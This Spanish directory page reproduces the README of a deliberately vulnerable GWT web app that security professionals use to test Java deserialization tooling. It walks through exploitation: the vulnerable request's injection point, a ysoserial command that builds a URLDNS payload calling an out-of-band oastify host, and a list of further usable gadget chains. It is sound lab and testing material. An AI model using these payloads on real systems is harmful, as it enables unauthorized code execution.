Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
VulnerableGWTApp — Una aplicación web basada en GWT, intencionalmente vulnerable, para probar herramientas y técnicas. | Kitploit
Herramientas/GitHubGitHub/bishopfox/vulnerablegwtapp
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubbishopfox/vulnerablegwtapp

VulnerableGWTApp

Una aplicación web basada en GWT, intencionalmente vulnerable, para probar herramientas y técnicas.

Ver Repositorio
5hace 2 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Aplicación web GWT vulnerable

Esta es una versión de la aplicación de ejemplo StockWatcher descrita en la guía de introducción a GWT que ha sido modificada para usar la funcionalidad de «clases mejoradas» de GWT, lo que la hace vulnerable a un ataque de deserialización de Java. Solo debe utilizarse para probar herramientas de detección y explotación. Las clases mejoradas se usan comúnmente en aplicaciones reales basadas en GWT, pero hasta la publicación de este ejemplo, no había aplicaciones web de código abierto fáciles de localizar que los profesionales de seguridad pudieran usar para validar sus herramientas y procedimientos.

La explotación de aplicaciones basadas en GWT se analiza en la entrada de blog de Bishop Fox «GWT: An Eight-Year-Old Unpatched Java Deserialization Vulnerability»](https://bishopfox.com/blog/gwt-unpatched-unauthenticated-java-deserialization-vulnerability).

Ejecutar la aplicación web

Para ejecutar la aplicación web, necesitarás un sistema Linux con las siguientes herramientas:

  • La versión completa del JRE de OpenJDK 11, no la versión headless; por ejemplo, en distribuciones basadas en Debian, instala el paquete openjdk-11-jre
  • ant (instálalo usando el gestor de paquetes de tu distribución)
  • Versión 2.10.0 del SDK de GWT

Inicio rápido

La aplicación requiere varios archivos JAR que son demasiado grandes para incluirlos directamente en el control de código fuente de GitHub, por lo que la forma más sencilla de empezar es descargar el último paquete desde la página de versiones y descomprimirlo.

Una vez que hayas descomprimido la versión, edita esta línea en build.xml para reemplazar /home/user/GWT/gwt-2.10.0 por tu directorio del SDK de GWT:

Desde el directorio del código fuente, ejecuta los siguientes comandos:

root@kitploit:~
ant build
ant devmode

Esto iniciará la aplicación web vulnerable y hará que sea accesible en http://127.0.0.1:8888/StockWatcher.html.

Ten en cuenta que si estás reenviando tráfico al servicio local para hacerlo accesible de forma remota, también debes reenviar el puerto 9876 además del 8888.

Ejecutar directamente desde el código de este repositorio

Si deseas clonar este repositorio y ejecutar la aplicación sin descargar una versión, tendrás que descargar y agregar los siguientes archivos JAR de terceros al directorio lib después de clonarlo:

  • aspectjweaver-1.9.2.jar
  • commons-collections-3.2.2.jar
  • javax.persistence.jar
  • jboss-as-connector-7.1.3.final.jar
  • jdo-api-3.2.1.jar
  • jpa-annotations-source.jar
  • junit-vintage-engine-5.10.0.jar
  • jython-standalone-2.7.3.jar

También necesitarás copiar los siguientes archivos JAR de GWT desde tu directorio de GWT (p. ej., gwt-2.10.0/) al directorio lib de esta aplicación vulnerable:

  • gwt-dev.jar
  • gwt-servlet.jar
  • gwt-user.jar
  • validation-api-1.0.0.GA.jar
  • validation-api-1.0.0.GA-sources.jar

Después de copiar todos esos archivos JAR, realiza los demás pasos de la sección de inicio rápido, anterior.

Explotar la aplicación web

Usando un navegador web configurado para conectarse a través de un proxy de intercepción (como Burp Suite), carga la URL http://127.0.0.1:8888/StockWatcher.html.

La página mostrará inicialmente un mensaje de «compiling» (compilando). Espera hasta que muestre este formulario básico:

[ La aplicación web StockWatcher mostrando un campo para agregar un símbolo de acción ]

Introduce una cadena corta en el campo, como BFOX, y luego haz clic en el botón Add. La página debería comenzar a mostrar actualizaciones aleatorias para el símbolo bursátil simulado:

[ La aplicación web StockWatcher mostrando datos de precios simulados para el símbolo BFOX ]

En el historial de tu proxy de intercepción, observa que tu navegador ahora está enviando repetidamente solicitudes POST a http://127.0.0.1:8888/stockwatcher/checkCustomClass1, similares a la siguiente:

root@kitploit:~
POST /stockwatcher/checkCustomClass1 HTTP/1.1
Host: 127.0.0.1:8888
...omitted for brevity...

7|0|10|http://127.0.0.1:8888/stockwatcher/|259823D3B8B1029302496D0C7E009509|com.google.gwt.sample.stockwatcher.client.CheckCustomClassService|checkCustomClass1|com.google.gwt.sample.stockwatcher.client.CustomClass1/1972642674|rO0ABXcEAAAAAA==|com.google.gwt.sample.stockwatcher.client.CustomClass2/69504871|java.sql.Date/730999118|string1 value: 12345|string2 value: 98765|1|2|3|4|1|5|5|6|7|6|0|0|8|P___i17vzAA|0|9|10|

Los datos binarios codificados en Base64 rO0ABXcEAAAAAA== son un punto de inyección vulnerable en la solicitud. Para explotar la aplicación web, tendrás que generar un payload de reemplazo. Por ejemplo, para generar un payload URLDNS usando la versión personalizada de ysoserial de Bishop Fox, podrías ejecutar el siguiente comando:

root@kitploit:~
$ java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar \
  --gwt bishopfox \
  URLDNS "https://dvc5ng8w4odw47m0a8qk45hdv41vpndc.oastify.com/URLDNS" \
  | base64 -w0 | sed 's/+/\$/g' | sed 's./._.g' > gwt_urldns.bin.gwt_b64

Envía una versión modificada de la solicitud que reemplace rO0ABXcEAAAAAA== con tu payload generado, y la aplicación vulnerable debería deserializarlo y activarlo. Además de la acción que cause el payload, la respuesta también debería incluir una NoSuchFieldException relacionada con el nombre del campo si el valor fue deserializado, p. ej. usando el nombre bishopfox del ejemplo anterior:

root@kitploit:~
HTTP/1.1 200 OK
Connection: close
...omitted for brevity...

//EX[2,1,["com.google.gwt.user.client.rpc.IncompatibleRemoteServiceException/3936916533","java.lang.NoSuchFieldException: bishopfox"],0,7]

Si usaste la versión precompilada de la aplicación web vulnerable, o agregaste manualmente todos los JAR mencionados anteriormente a una compilación personalizada, deberías poder usar (como mínimo) los siguientes payloads contra la aplicación web:

  • AspectJWeaver
  • Jython2
  • Jython3

Al momento de redactar esto, la versión principal de ysoserial no admitía salida con formato GWT, así que asegúrate de usar el fork personalizado.

Descargar herramienta